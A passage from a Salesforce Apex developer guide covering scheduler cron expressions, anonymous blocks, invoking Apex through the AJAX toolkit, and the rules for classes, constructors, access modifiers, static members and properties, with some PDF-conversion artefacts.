<td>, - * /</td>
</tr>
<tr>
<td>Month</td>
<td>1–12 or the following:</td>
<td>, - * /</td>
</tr>
<tr>
<td></td>
<td>• JAN</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• FEB</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• MAR</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• APR</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• MAY</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• JUN</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• JUL</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• AUG</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• SEP</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• OCT</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• NOV</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• DEC</td>
<td></td>
</tr>
<tr>
<td>Day_of_week</td>
<td>1–7 or the following:</td>
<td>, - * ? / L #</td>
</tr>
<tr>
<td></td>
<td>• SUN</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• MON</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• TUE</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• WED</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• THU</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• FRI</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• SAT</td>
<td></td>
</tr>
<tr>
<td>optional_year</td>
<td>null or 1970–2099</td>
<td>, - * /</td>
</tr>
</tbody>
</table>

The special characters are defined as follows:

<table>
<thead>
<tr>
<th>Special Character</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>,</td>
<td>Delimits values. For example, use JAN, MAR, APR to specify more than one month.</td>
</tr>
<tr>
<td>–</td>
<td>Specifies a range. For example, use JAN-MAR to specify more than one month.</td>
</tr>
<tr>
<td>*</td>
<td>Specifies all values. For example, if Month is specified as *, the job is scheduled for every month.</td>
</tr>
<tr>
<td>?</td>
<td>Specifies no specific value. This is only available for Day_of_month and Day_of_week, and is generally used when specifying a value for one and not the other.</td>
</tr>
<tr>
<td>/</td>
<td>Specifies increments. The number before the slash specifies when the intervals should begin, and the number after the slash is the interval amount. For example,</td>
</tr>
<tr>
<td>Special Character</td>
<td>Description</td>
</tr>
<tr>
<td>-------------------</td>
<td>-------------</td>
</tr>
<tr>
<td>1/5</td>
<td>if you specify 1/5 for <code>Day_of_month</code>, the Apex class runs every fifth day of the month, starting on the first of the month.</td>
</tr>
<tr>
<td>L</td>
<td>Specifies the end of a range (last). This is only available for <code>Day_of_month</code> and <code>Day_of_week</code>. When used with <code>Day_of_month</code>, L always means the last day of the month, such as January 31, February 28 for leap years, and so on. When used with <code>Day_of_week</code> by itself, it always means 7 or SAT. When used with a <code>Day_of_week</code> value, it means the last of that type of day in the month. For example, if you specify 2L, you are specifying the last Monday of the month. Do not use a range of values with L as the results may be unexpected.</td>
</tr>
<tr>
<td>W</td>
<td>Specifies the nearest weekday (Monday-Friday) of the given day. This is only available for <code>Day_of_month</code>. For example, if you specify 20W, and the 20th is a Saturday, the class runs on the 19th. If you specify 1W, and the first is a Saturday, the class does not run in the previous month, but on the third, which is the following Monday. <strong>Tip:</strong> Use the L and W together to specify the last weekday of the month.</td>
</tr>
<tr>
<td>#</td>
<td>Specifies the nth day of the month, in the format <code>weekday#day_of_month</code>. This is only available for <code>Day_of_week</code>. The number before the # specifies weekday (SUN-SAT). The number after the # specifies the day of the month. For example, specifying 2#2 means the class runs on the second Monday of every month.</td>
</tr>
</tbody>
</table>

The following are some examples of how to use the expression.

<table>
<thead>
<tr>
<th>Expression</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0 0 13 * * ?</td>
<td>Class runs every day at 1 P.M.</td>
</tr>
<tr>
<td>0 0 22 ? * 6L</td>
<td>Class runs the last Friday of every month at 10 P.M.</td>
</tr>
<tr>
<td>0 0 10 ? * MON-FRI</td>
<td>Class runs Monday through Friday at 10 A.M.</td>
</tr>
<tr>
<td>0 0 20 * * ? 2010</td>
<td>Class runs every day at 8 P.M. during the year 2010.</td>
</tr>
</tbody>
</table>

In the following example, the class `proschedule` implements the `Schedulable` interface. The class is scheduled to run at 8 A.M., on the 13th of February.

```java
proschedule p = new proschedule();
System.schedule('One Time Pro', '0 0 8 13 2 ?', p);
```

**Apex Scheduler Best Practices**

- Salesforce only adds the process to the queue at the scheduled time. Actual execution may be delayed based on service availability.
- Use extreme care if you are planning to schedule a class from a trigger. You must be able to guarantee that the trigger will not add more scheduled classes than the ten that are allowed. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time.
• Though it’s possible to do additional processing in the `execute` method, Salesforce recommends that all processing take place in a separate class.
• You can only have ten classes scheduled at one time. You can evaluate your current count by viewing the Scheduled Jobs page in Salesforce or programmatically using the Force.com Web services API to query the CronTrigger object.
• You can’t use the `getContent` and `getContentAsPDF` `PageReference` methods in scheduled Apex.

**Anonymous Blocks**

An anonymous block is an Apex script that does not get stored in the metadata, but that can be compiled and executed using one of the following:

- System Log console
- Force.com IDE
- The `executeAnonymous` Web services API call:

```java
ExecuteAnonymousResult executeAnonymous(String code)
```

You can use anonymous blocks to quickly evaluate Apex on the fly, such as in System Log console or the Force.com IDE, or to write scripts that change dynamically at runtime. For example, you might write a client Web application that takes input from a user, such as a name and address, and then uses an anonymous block of Apex to insert a contact with that name and address into the database.

Note the following about the content of an anonymous block (for `executeAnonymous`, the `code` String):

- Can include user-defined methods and exceptions.
- User-defined methods cannot include the keyword `static`.
- You do not have to manually commit any database changes.
- If your Apex script completes successfully, any database changes are automatically committed. If your Apex script does not complete successfully, any changes made to the database are rolled back.
- Unlike classes and triggers, anonymous blocks execute as the current user and can fail to compile if the script violates the user’s object- and field-level permissions.
- Do not have a scope other than local. For example, though it is legal to use the `global` access modifier, it has no meaning. The scope of the method is limited to the anonymous block.

Even though a user-defined method can refer to itself or later methods without the need for forward declarations, variables cannot be referenced before their actual declaration. In the following example, the `Integer int` must be declared while `myProcedure1` does not:

```java
Integer int1 = 0;

void myProcedure1() {
    myProcedure2();
}

void myProcedure2() {
    int1++;
}

myProcedure1();
```

The return result for anonymous blocks includes:

- Status information for the compile and execute phases of the call, including any errors that occur
• The debug log content, including the output of any calls to the System.debug method (see Understanding the Debug Log on page 177)
• The Apex stack trace of any uncaught script execution exceptions, including the class, method, and line number for each call stack element

For more information on executeAnonymous(), see Web Services API Calls and SOAP Headers for Apex on page 460. See also Using the System Log Console on page 179 and the Force.com IDE.

Apex in AJAX

The AJAX toolkit includes built-in support for invoking Apex through anonymous blocks or public webService methods. To do so, include the following lines in your AJAX code:

<script src="/soap/ajax/15.0/connection.js" type="text/javascript"></script>
<script src="/soap/ajax/15.0/apex.js" type="text/javascript"></script>

**Note:** For AJAX buttons, use the alternate forms of these includes.

To invoke Apex, use one of the following two methods:

• Execute anonymously via sforce.apex.executeAnonymous (script). This method returns a result similar to the API's result type, but as a JavaScript structure.
• Use a class WSDL. For example, you can call the following Apex class:

```java
global class myClass {
    webService static Id makeContact(String lastName, Account a) {
        Contact c = new Contact(FirstName = lastName, AccountId = a.Id);
        return c.id;
    }
}
```

By using the following JavaScript code:

```javascript
var account = sforce.sObject("Account");
var id = sforce.apex.execute("myClass", "makeContact",
    {lastName:"Smith",
     a:account});
```

The execute method takes primitive data types, sObjects, and lists of primitives or sObjects.

To call a webService method with no parameters, use {} as the third parameter for sforce.apex.execute. For example, to call the following Apex class:

```java
global class myClass{
    webService static String getContextUserName() {
        return UserInfo.getFirstName();
    }
}
```

Use the following JavaScript code:

```javascript
var contextUser = sforce.apex.execute("myClass", "getContextUserName", {});
```
Note: If a namespace has been defined for your organization, you must include it in the JavaScript code when you invoke the class. For example, to call the above class, the JavaScript code from above would be rewritten as follows:

```javascript
var contextUser = sforce.apex.execute("myNamespace.myClass", "getContextUserName", {});
```

To verify whether your organization has a namespace, log in to your Salesforce organization and navigate to Your Name ➤ Setup ➤ Create ➤ Packages. If a namespace is defined, it is listed under Developer Settings.

Both examples result in native JavaScript values that represent the return type of the methods.

Use the following line to display a popup window with debugging information:

```javascript
sforce.debug.trace=true;
```
Chapter 4

Classes, Objects, and Interfaces

In this chapter ...

• Understanding Classes
• Interfaces and Extending Classes
• Keywords
• Annotations
• Classes and Casting
• Differences Between Apex Classes and Java Classes
• Class Definition Creation
• Class Security
• Namespace Prefix
• Version Settings

A class is a template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined methods, variables, exception types, and static initialization code. They are stored in the application under Your Name ➤ Setup ➤ Develop ➤ Apex Classes.

Once successfully saved, class methods or variables can be invoked by other Apex code, or through the Web services API (or AJAX Toolkit) for methods that have been designated with the webService keyword.

In most cases, the class concepts described here are modeled on their counterparts in Java, and can be quickly understood by those who are familiar with them.

• Understanding Classes—more about creating classes in Apex
• Interfaces and Extending Classes—information about interfaces
• Keywords and Annotations—additional modifiers for classes, methods or variables
• Classes and Casting—assigning a class of one data type to another
• Differences Between Apex Classes and Java Classes—how Apex and Java differ
• Class Definition Creation and Class Security—creating a class in the Salesforce user interface as well as enabling users to access a class
• Namespace Prefix and Version Settings—using a namespace prefix and versioning Apex classes
Understanding Classes

As in Java, you can create classes in Apex. A class is a template or blueprint from which objects are created. An object is an instance of a class. For example, the PurchaseOrder class describes an entire purchase order, and everything that you can do with a purchase order. An instance of the PurchaseOrder class is a specific purchase order that you send or receive.

All objects have state and behavior, that is, things that an object knows about itself, and things that an object can do. The state of a PurchaseOrder object—what it knows—includes the user who sent it, the date and time it was created, and whether it was flagged as important. The behavior of a PurchaseOrder object—what it can do—includes checking inventory, shipping a product, or notifying a customer.

A class can contain variables and methods. Variables are used to specify the state of an object, such as the object’s Name or Type. Since these variables are associated with a class and are members of it, they are commonly referred to as member variables. Methods are used to control behavior, such as getOtherQuotes or copyLineItems.

An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the body of each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the interface.

For more general information on classes, objects, and interfaces, see http://java.sun.com/docs/books/tutorial/java/concepts/index.html

Apex Defining Classes

In Apex, you can define top-level classes (also called outer classes) as well as inner classes, that is, a class defined within another class. You can only have inner classes one level deep. For example:

```apex
public class myOuterClass {
    // Additional myOuterClass code here
    class myInnerClass {
        // myInnerClass code here
    }
}
```

To define a class, specify the following:

1. Access modifiers:
   - You must use one of the access modifiers (such as public or global) in the declaration of a top-level class.
   - You do not have to use an access modifier in the declaration of an inner class.

2. Optional definition modifiers (such as virtual, abstract, and so on)

3. Required: The keyword class followed by the name of the class

4. Optional extensions and/or implementations

Use the following syntax for defining classes:

```apex
private | public | global
[virtual | abstract | with sharing | without sharing | (none)]
class ClassName [implements InterfaceNameList | (none)] [extends ClassName | (none)] {
    // The body of the class
}
```
• The `private` access modifier declares that this class is only known locally, that is, only by this section of code. This is the default access for inner classes—that is, if you don’t specify an access modifier for an inner class, it is considered `private`. This keyword can only be used with inner classes.
• The `public` access modifier declares that this class is visible in your application or namespace.
• The `global` access modifier declares that this class is known by all Apex scripts everywhere. All classes that contain methods defined with the `webService` keyword must be declared as `global`. If a method or inner class is declared as `global`, the outer, top-level class must also be defined as `global`.
• The `with sharing` and `without sharing` keywords specify the sharing mode for this class. For more information, see Using the `with sharing` or `without sharing` Keywords on page 111.
• The `virtual` definition modifier declares that this class allows extension and overrides. You cannot override a method with the `override` keyword unless the class has been defined as `virtual`.
• The `abstract` definition modifier declares that this class contains abstract methods, that is, methods that only have their signature declared and no body defined.

**Note:**
• Classes defined with either `virtual` or `abstract` cannot also be defined as `global` in Developer Edition organizations. They can be defined as `global` in sandbox organizations. Only `private` and `public` classes can be defined as either `virtual` or `abstract` in Developer Edition organizations. However, a class defined as `global` can extend `virtual` or `abstract` classes in either Developer Edition organizations or sandboxes.
• You cannot add a method to an abstract or virtual class after the class has been uploaded in a Managed - Released package version. For more information about managed packages, see Developing Apex in Managed Packages on page 193.

A class can implement multiple interfaces, but only extend one existing class. This restriction means that Apex does not support multiple inheritance. The interface names in the list are separated by commas. For more information about interfaces, see Interfaces and Extending Classes on page 103.

For more information about method and variable access modifiers, see Access Modifiers on page 96.

**Extended Class Example**

The following is an extended example of a class, showing all the features of Apex classes. The keywords and concepts introduced in the example are explained in more detail throughout this chapter.

```java
// Top-level (outer) class must be public or global (usually public unless they contain
// a Web Service, then they must be global)
public class OuterClass {

    // Static final variable (constant) - outer class level only
    private static final Integer MY_INT;

    // Non-final static variable - use this to communicate state across triggers
    // within a single request)
    public static String sharedState;

    // Static method - outer class level only
    public static Integer getInt() { return MY_INT; }

    // Static initialization (can be included where the variable is defined)
    static {
        MY_INT = 2;
    }

    // Member variable for outer class
    private final String m;

    // Instance initialization block - can be done where the variable is declared,
    // or in a constructor
```
m = 'a';

// Because no constructor is explicitly defined in this outer class, an implicit,
// no-argument, public constructor exists

// Inner interface
public virtual interface MyInterface {
    // No access modifier is necessary for interface methods - these are always
    // public or global depending on the interface visibility
    void myMethod();
}

// Interface extension
interface MySecondInterface extends MyInterface {
    Integer method2(Integer i);
}

// Inner class - because it is virtual it can be extended.
// This class implements an interface that, in turn, extends another interface.
// Consequently the class must implement all methods.
public virtual class InnerClass implements MySecondInterface {
    // Inner member variables
    private final String s;
    private final String s2;

    // Inner instance initialization block (this code could be located above)
    {
        this.s = 'x';
    }

    // Inline initialization (happens after the block above executes)
    private final Integer i = s.length();

    // Explicit no argument constructor
    InnerClass() {
        // This invokes another constructor that is defined later
        this('none');
    }

    // Constructor that assigns a final variable value
    public InnerClass(String s2) {
        this.s2 = s2;
    }

    // Instance method that implements a method from MyInterface.
    // Because it is declared virtual it can be overridden by a subclass.
    public virtual void myMethod() { /* does nothing */ }

    // Implementation of the second interface method above.
    // This method references member variables (with and without the "this" prefix)
    public Integer method2(Integer i) { return this.i + s.length(); }
}

// Abstract class (that subclasses the class above). No constructor is needed since
// parent class has a no-argument constructor
public abstract class AbstractChildClass extends InnerClass {

    // Override the parent class method with this signature.
    // Must use the override keyword
    public override void myMethod() { /* do something else */ }

    // Same name as parent class method, but different signature.
    // This is a different method (displaying polymorphism) so it does not need
// to use the override keyword
protected void method2() {} 

// Abstract method - subclasses of this class must implement this method
abstract Integer abstractMethod();
}

// Complete the abstract class by implementing its abstract method
public class ConcreteChildClass extends AbstractChildClass {
    // Here we expand the visibility of the parent method - note that visibility
    // cannot be restricted by a sub-class
    public override Integer abstractMethod() { return 5; }
}

// A second sub-class of the original InnerClass
public class AnotherChildClass extends InnerClass {
    AnotherChildClass(String s) {
        // Explicitly invoke a different super constructor than one with no arguments
        super(s);
    }
}

// Exception inner class
public virtual class MyException extends Exception {
    // Exception class member variable
    public Double d;

    // Exception class constructor
    MyException(Double d) {
        this.d = d;
    }

    // Exception class method, marked as protected
    protected void doIt() {} 
}

// Exception classes can be abstract and implement interfaces
public abstract class MySecondException extends Exception implements MyInterface {
}

This code example illustrates:

- A top-level class definition (also called an outer class)
- Static variables and static methods in the top-level class, as well as static initialization code blocks
- Member variables and methods for the top-level class
- Classes with no user-defined constructor — these have an implicit, no-argument constructor
- An interface definition in the top-level class
- An interface that extends another interface
- Inner class definitions (one level deep) within a top-level class
- A class that implements an interface (and, therefore, its associated sub-interface) by implementing public versions of the method signatures
- An inner class constructor definition and invocation
- An inner class member variable and a reference to it using the this keyword (with no arguments)
- An inner class constructor that uses the this keyword (with arguments) to invoke a different constructor
- Initialization code outside of constructors — both where variables are defined, as well as with anonymous blocks in curly braces ({}). Note that these execute with every construction in the order they appear in the file, as with Java.
- Class extension and an abstract class
- Methods that override base class methods (which must be declared virtual)
- The `override` keyword for methods that override subclass methods
- Abstract methods and their implementation by concrete sub-classes
- The `protected` access modifier
- **Exceptions** as first class objects with members, methods, and constructors

This example shows how the class above can be called by another Apex script:

```apex
// Construct an instance of an inner concrete class, with a user-defined constructor
OuterClass.InnerClass ic = new OuterClass.InnerClass('x');

// Call user-defined methods in the class
System.assertEquals(2, ic.method2(1));

// Define a variable with an interface data type, and assign it a value that is of
// a type that implements that interface
OuterClass.MyInterface mi = ic;

// Use instanceof and casting as usual
OuterClass.InnerClass ic2 = mi instanceof OuterClass.InnerClass ?
    (OuterClass.InnerClass)mi : null;
System.assert(ic2 != null);

// Construct the outer type
OuterClass o = new OuterClass();
System.assertEquals(2, OuterClass.getInt());

// Construct instances of abstract class children
System.assertEquals(5, new OuterClass.ConcreteChildClass().abstractMethod());

// Illegal - cannot construct an abstract class
// new OuterClass.AbstractChildClass();

// Illegal - cannot access a static method through an instance
// o.getInt();

// Illegal - cannot call protected method externally
// new OuterClass.ConcreteChildClass().method2();
```

This code example illustrates:
- Construction of the outer class
- Construction of an inner class and the declaration of an inner interface type
- A variable declared as an interface type can be assigned an instance of a class that implements that interface
- Casting an interface variable to be a class type that implements that interface (after verifying this using the `instanceof` operator)

**Declaring Class Variables**

To declare a variable, specify the following:

- Optional: Modifiers, such as `public` or `final`, as well as `static`.
- Required: The data type of the variable, such as `String` or `Boolean`.
- Required: The name of the variable.
- Optional: The value of the variable.

Use the following syntax when defining a variable:

```
[public | private | protected | global | final] [static] data type variable name
[= value]
```
For example:

```java
private static final Integer MY_INT;
private final Integer i = 1;
```

**Defining Class Methods**

To define a method, specify the following:

- Optional: Modifiers, such as `public` or `protected`.
- Required: The data type of the value returned by the method, such as `String` or `Integer`. Use `void` if the method does not return a value.
- Required: A list of input parameters for the method, separated by commas, each preceded by its data type, and enclosed in parentheses `()`. If there are no parameters, use a set of empty parentheses. A method can only have 32 input parameters.
- Required: The body of the method, enclosed in braces `{}`. All the code for the method, including any local variable declarations, is contained here.

Use the following syntax when defining a method:

```java
(public | private | protected | global ) [override] [static] data type method name
(input parameters)
{
// The body of the method
}
```

**Note:** You can only use `override` to override methods in classes that have been defined as `virtual`.

For example:

```java
public static Integer getInt() {
    return MY_INT;
}
```

As in Java, methods that return values can also be run as a statement if their results are not assigned to another variable.

Note that user-defined methods:

- Can be used anywhere that system methods are used.
- Pass arguments by reference, so that a variable that is passed into a method and then modified will also be modified in the original code that called the method.
- Can be recursive.
- Can have side effects, such as DML `insert` statements that initialize sObject record IDs. See Apex Data Manipulation Language (DML) Operations on page 217.
- Can refer to themselves or to methods defined later in the same class or anonymous block. Apex parses methods in two phases, so forward declarations are not needed.
- Can be polymorphic. For example, a method named `foo` can be implemented in two ways, one with a single `Integer` parameter and one with two `Integer` parameters. Depending on whether the method is called with one or two `Integers`, the Apex parser selects the appropriate implementation to execute. If the parser cannot find an exact match, it then seeks an approximate match using type coercion rules. For more information on data conversion, see Understanding Rules of Conversion on page 41.
Note: If the parser finds multiple approximate matches, a parse-time exception is generated.

- Cannot be declared as `static` when used in a trigger.
- When using void methods that have side effects, user-defined methods are typically executed as stand-alone procedure statements in Apex scripts. For example:

  ```apex
  System.debug('Here's a note for the log.');
  ```

- Can have statements where the return values are run as a statement if their results are not assigned to another variable. This is the same as in Java.

**Using Constructors**

A constructor is code that is invoked when an object is created from the class blueprint. You do not need to write a constructor for every class. If a class does not have a user-defined constructor, an implicit, no-argument, public one is used.

The syntax for a constructor is similar to a method, but it differs from a method definition in that it never has an explicit return type and it is not inherited by the object created from it.

After you write the constructor for a class, you must use the `new` keyword in order to instantiate an object from that class, using that constructor. For example, using the following class:

```apex
public class TestObject {
    // The no argument constructor
    public TestObject() {
        // more code here
    }
}
```

A new object of this type can be instantiated with the following code:

```apex
TestObject myTest = new TestObject();
```

If you write a constructor that takes arguments, you can then use that constructor to create an object using those arguments. If you create a constructor that takes arguments, and you still want to use a no-argument constructor, you must include one in your code. Once you create a constructor for a class, you no longer have access to the default, no-argument public constructor. You must create your own.

In Apex, a constructor can be overloaded, that is, there can be more than one constructor for a class, each having different parameters. The following example illustrates a class with two constructors: one with no arguments and one that takes a simple `Integer` argument. It also illustrates how one constructor calls another constructor using the `this(...)` syntax, also know as constructor chaining.

```apex
public class TestObject2 {
    private static final Integer DEFAULT_SIZE = 10;

    Integer size;

    //Constructor with no arguments
    public TestObject2() {
        this(DEFAULT_SIZE); // Using this(...) calls the one argument constructor
    }

    // Constructor with one argument
```
public TestObject2(Integer ObjectSize) {
    size = ObjectSize;
}

New objects of this type can be instantiated with the following code:

    TestObject2 myObject1 = new TestObject2(42);
    TestObject2 myObject2 = new TestObject2();

Every constructor that you create for a class must have a different argument list. In the following example, all of the constructors are possible:

```java
public class Leads {
    // First a no-argument constructor
    public Leads () {}  

    // A constructor with one argument
    public Leads (Boolean call) {}  

    // A constructor with two arguments
    public Leads (String email, Boolean call) {}  

    // Though this constructor has the same arguments as the 
    // one above, they are in a different order, so this is legal  
    public Leads (Boolean call, String email) {}  
}
```

When you define a new class, you are defining a new data type. You can use class name in any place you can use other data type names, such as String, Boolean, or Account. If you define a variable whose type is a class, any object you assign to it must be an instance of that class or subclass.

**Access Modifiers**

Apex allows you to use the `private`, `protected`, `public`, and `global` access modifiers when defining methods and variables.

While triggers and anonymous blocks can also use these access modifiers, they are not as useful in smaller portions of Apex. For example, declaring a method as `global` in an anonymous block does not enable you to call it from outside of that code.

For more information on class access modifiers, see Apex Defining Classes on page 89.

*Note:* Interface methods have no access modifiers. They are always global. For more information, see Interfaces and Extending Classes on page 103.

By default, a method or variable is visible only to the Apex *within the defining class*. This is different from Java, where methods and variables are public by default. Apex is more restrictive, and requires you to explicitly specify a method or variable as public in order for it to be available to other classes in the same application namespace (see Namespace Prefix on page 122). You can change the level of visibility by using the following access modifiers:

**private**

This is the default, and means that the method or variable is accessible only within the Apex class in which it is defined. If you do not specify an access modifier, the method or variable is `private`. 

protected
This means that the method or variable is visible to any inner classes in the defining Apex class. You can only use this access modifier for instance methods and member variables. Note that it is strictly more permissive than the default (private) setting, just like Java.

public
This means the method or variable can be used by any Apex in this application or namespace.

Note: In Apex, the public access modifier is not the same as it is in Java. This was done to discourage joining applications, to keep the code for each application separate. In Apex, if you want to make something public like it is in Java, you need to use the global access modifier.

global
This means the method or variable can be used by any Apex script that has access to the class, not just the Apex scripts in the same application. This access modifier should be used for any method that needs to be referenced outside of the application, either in the Web services API or by other Apex scripts. If you declare a method or variable as global, you must also declare the class that contains it as global.

Note: Salesforce.com recommends using the global access modifier rarely, if at all. Cross-application dependencies are difficult to maintain.

To use the private, protected, public, or global access modifiers, use the following syntax:

```apex
[(none)|private|protected|public|global] declaration
```

For example:

```apex
private string s1 = '1';
public string gets1() {
    return this.s1;
}
```

**Static and Instance**

In Apex, you can have static methods, variables, and initialization code, instance methods, member variables, and initialization code (which have no modifier), and local variables:

- Static methods, variables, or initialization code are associated with a class, and are only allowed in outer classes. When you declare a method or variable as static, it's initialized only once when a class is loaded. Static variables aren't transmitted as part of the view state for a Visualforce page.
- Instance methods, member variables, and initialization code are associated with a particular object and have no definition modifier. When you declare instance methods, member variables, or initialization code, an instance of that item is created with every object instantiated from the class.
- Local variables are associated with the block of code in which they are declared. All local variables should be initialized before they are used.

The following is an example of a local variable whose scope is the duration of the if code block:

```apex
Boolean myCondition = true;
if (myCondition) {
    integer localVariable = 10;
}
```
Using Static Methods and Variables

You can only use static methods and variables with outer classes. Inner classes have no static methods or variables. A static method or variable does not require an instance of the class in order to run.

All static member variables in a class are initialized before any object of the class is created. This includes any static initialization code blocks. All of these are run in the order in which they appear in the class.

Static methods are generally used as utility methods and never depend on a particular instance member variable value. Because a static method is only associated with a class, it cannot access any instance member variable values of its class.

Static variables are only static within the scope of the request. They are not static across the server, or across the entire organization.

Use static variables to store information that is shared within the confines of the class. All instances of the same class share a single copy of the static variables. For example, all triggers that are spawned by the same request can communicate with each other by viewing and updating static variables in a related class. A recursive trigger might use the value of a class variable to determine when to exit the recursion.

Suppose you had the following class:

```java
public class p {
    public static boolean firstRun = true;
}
```

A trigger that uses this class could then selectively fail the first run of the trigger:

```java
trigger t1 on Account (before delete, after delete, after undelete) {
    if(Trigger.isBefore){
        if(Trigger.isDelete){
            if(p.firstRun){
                Trigger.old[0].addError('Before Account Delete Error');
                p.firstRun=false;
            }
        }
    }
}
```

Class static variables cannot be accessed through an instance of that class. So if class C has a static variable S, and x is an instance of C, then x.S is not a legal expression.

The same is true for instance methods: if M() is a static method then x.M() is not legal. Instead, your code should refer to those static identifiers using the class: C.S and C.M().

If a local variable is named the same as the class name, these static methods and variables are hidden.

Inner classes behave like static Java inner classes, but do not require the static keyword. Inner classes can have instance member variables like outer classes, but there is no implicit pointer to an instance of the outer class (using the this keyword).

Note: Static variable values are reset between API batches, but governor limits are not. Do not use static variables to track state information on API batches, because Salesforce may break up a batch into smaller chunks than the batch size you specify.

Using Instance Methods and Variables

Instance methods and member variables are used by an instance of a class, that is, by an object. Instance member variables are declared inside a class, but not within a method. Instance methods usually use instance member variables to affect the behavior of the method.
Suppose you wanted to have a class that collects two dimensional points and plot them on a graph. The following skeleton class illustrates this, making use of member variables to hold the list of points and an inner class to manage the two-dimensional list of points.

```java
public class Plotter {
    // This inner class manages the points
    class Point {
        Double x;
        Double y;

        Point(Double x, Double y) {
            this.x = x;
            this.y = y;
        }
        Double getXCoordinate() {
            return x;
        }
        Double getYCoordinate() {
            return y;
        }
    }
    List<Point> points = new List<Point>();
    public void plot(Double x, Double y) {
        points.add(new Point(x, y));
    }
    // The following method takes the list of points and does something with them
    public void render() {
    }
}
```

### Using Initialization Code

Instance initialization code is a block of code in the following form that is defined in a class:

```java
{
    //code body
}
```

The instance initialization code in a class is executed every time an object is instantiated from that class. These code blocks run before the constructor.

If you do not want to write your own constructor for a class, you can use an instance initialization code block to initialize instance variables. However, most of the time you should either give the variable a default value or use the body of a constructor to do initialization and not use instance initialization code.

Static initialization code is a block of code preceded with the keyword `static`:

```java
static {
    //code body
}
```

Similar to other static code, a static initialization code block is only initialized once on the first use of the class.
A class can have any number of either static or instance initialization code blocks. They can appear anywhere in the code body. The code blocks are executed in the order in which they appear in the file, the same as in Java.

You can use static initialization code to initialize static final variables and to declare any information that is static, such as a map of values. For example:

```java
public class MyClass {
    class RGB {
        Integer red;
        Integer green;
        Integer blue;

        RGB(Integer red, Integer green, Integer blue) {
            this.red = red;
            this.green = green;
            this.blue = blue;
        }
    }

    static Map<String, RGB> colorMap = new Map<String, RGB>();
    static {
        colorMap.put('red', new RGB(255, 0, 0));
        colorMap.put('cyan', new RGB(0, 255, 255));
        colorMap.put('magenta', new RGB(255, 0, 255));
    }
}
```

**Apex Properties**

An Apex property is similar to a variable, however, you can do additional things in your script to a property value before it is accessed or returned. Properties can be used in many different ways: they can validate data before a change is made; they can prompt an action when data is changed, such as altering the value of other member variables; or they can expose data that is retrieved from some other source, such as another class.

Property definitions include one or two code blocks, representing a get accessor and a set accessor:

- The code in a get accessor executes when the property is read.
- The code in a set accessor executes when the property is assigned a new value.

A property with only a get accessor is considered read-only. A property with only a set accessor is considered write-only. A property with both accessors is read-write.

To declare a property, use the following syntax in the body of a class:

```java
Public class BasicClass {
    // Property declaration
    access_modifier return_type property_name {
        get {
            //Get accessor code block
        }
        set {
            //Set accessor code block
        }
    }
}
```

Where:
• **access_modifier** is the access modifier for the property. All modifiers that can be applied to variables can also be applied to properties. These include: public, private, global, protected, static, virtual, abstract, override and transient. For more information on access modifiers, see Access Modifiers on page 96.

• **return_type** is the type of the property, such as Integer, Double, sObject, and so on. For more information, see Data Types on page 28.

• **property_name** is the name of the property

For example, the following class defines a property named `prop`. The property is public. The property returns an integer data type.

```java
public class BasicProperty {
    public integer prop {
        get { return prop; }
        set { prop = value; }
    }
}
```

The following code segment calls the class above, exercising the get and set accessors:

```java
BasicProperty bp = new BasicProperty();
bp.prop = 5;  // Calls set accessor
System.assert(bp.prop == 5);  // Calls get accessor
```

Note the following:

• The body of the get accessor is similar to that of a method. It must return a value of the property type. Executing the get accessor is the same as reading the value of the variable.

• The get accessor must end in a return statement.

• Salesforce recommends that your get accessor should not change the state of the object that it is defined on.

• The set accessor is similar to a method whose return type is void.

• When you assign a value to the property, the set accessor is invoked with an argument that provides the new value.

• When the set accessor is invoked, the system passes an implicit argument to the setter called value of the same data type as the property.

• Properties cannot be defined on interface.

• Apex properties are based on their counterparts in C#, with the following differences:
  - Properties provide storage for values directly. You do not need to create supporting members for storing values.
  - It is possible to create automatic properties in Apex. For more information, see Using Automatic Properties on page 101.

**Using Automatic Properties**

Properties do not require additional code in their get or set accessor code blocks. Instead, you can leave get and set accessor code blocks empty to define an automatic property. Automatic properties allow you to write more compact code that is easier to debug and maintain. They can be declared as read-only, read-write, or write-only. The following example creates three automatic properties:

```java
public class AutomaticProperty {
    public integer MyReadOnlyProp { get; }
    public double MyReadWriteProp { get; set; }
    public string MyWriteOnlyProp { set; }
}
```
The following code segment exercises these properties:

```java
AutomaticProperty ap = new AutomaticProperty();
ap.MyReadOnlyProp = 5; // This produces a compile error: not writable
ap.MyReadWriteProp = 5; // No error
System.assert(MyWriteOnlyProp == 5); // This produces a compile error: not readable
```

### Using Static Properties

When a property is declared as `static`, the property’s accessor methods execute in a static context. This means that the accessors do not have access to non-static member variables defined in the class. The following example creates a class with both static and instance properties:

```java
public class StaticProperty {
    public static integer StaticMember;
    public integer NonStaticMember;
    public static integer MyGoodStaticProp {
        get{return MyGoodStaticProp;}
    } // The following produces a system error
    // public static integer MyBadStaticProp { return NonStaticMember; } // The following produces a system error
    public integer MyGoodNonStaticProp {
        get{return NonStaticMember;}
    }
}
```

The following code segment calls the static and instance properties:

```java
StaticProperty sp = new StaticProperty();
// The following produces a system error: a static variable cannot be
// accessed through an object instance
// sp.MyGoodStaticProp = 5;

// The following does not produce an error
StaticProperty.MyGoodStaticProp = 5;
```

### Using Access Modifiers on Property Accessors

